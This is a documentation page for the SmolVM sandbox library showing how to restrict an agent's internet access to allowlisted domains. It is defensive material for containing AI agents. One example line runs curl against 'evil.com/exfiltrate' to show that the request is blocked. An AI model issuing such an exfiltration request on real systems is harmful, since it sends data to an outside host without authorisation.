Skip to main content
By default, sandboxes have full internet access. You can lock this down to specific domains using internet_settings, so agents can only reach the APIs you approve.

Allow specific domains

from smolvm import SmolVM

vm = SmolVM(internet_settings={
    "allowed_domains": ["https://api.openai.com"],
})

vm.run("curl https://api.openai.com/v1/models")  # allowed
vm.run("curl https://evil.com/exfiltrate")        # blocked

Allow multiple domains

vm = SmolVM(internet_settings={
    "allowed_domains": [
        "https://api.openai.com",
        "https://api.anthropic.com",
        "https://pypi.org",
    ],
})
Domain allowlisting is especially useful for AI agents that need API access but shouldn’t be able to reach arbitrary URLs.
For details on how sandbox networking works under the hood, see Network configuration.
Last modified on April 28, 2026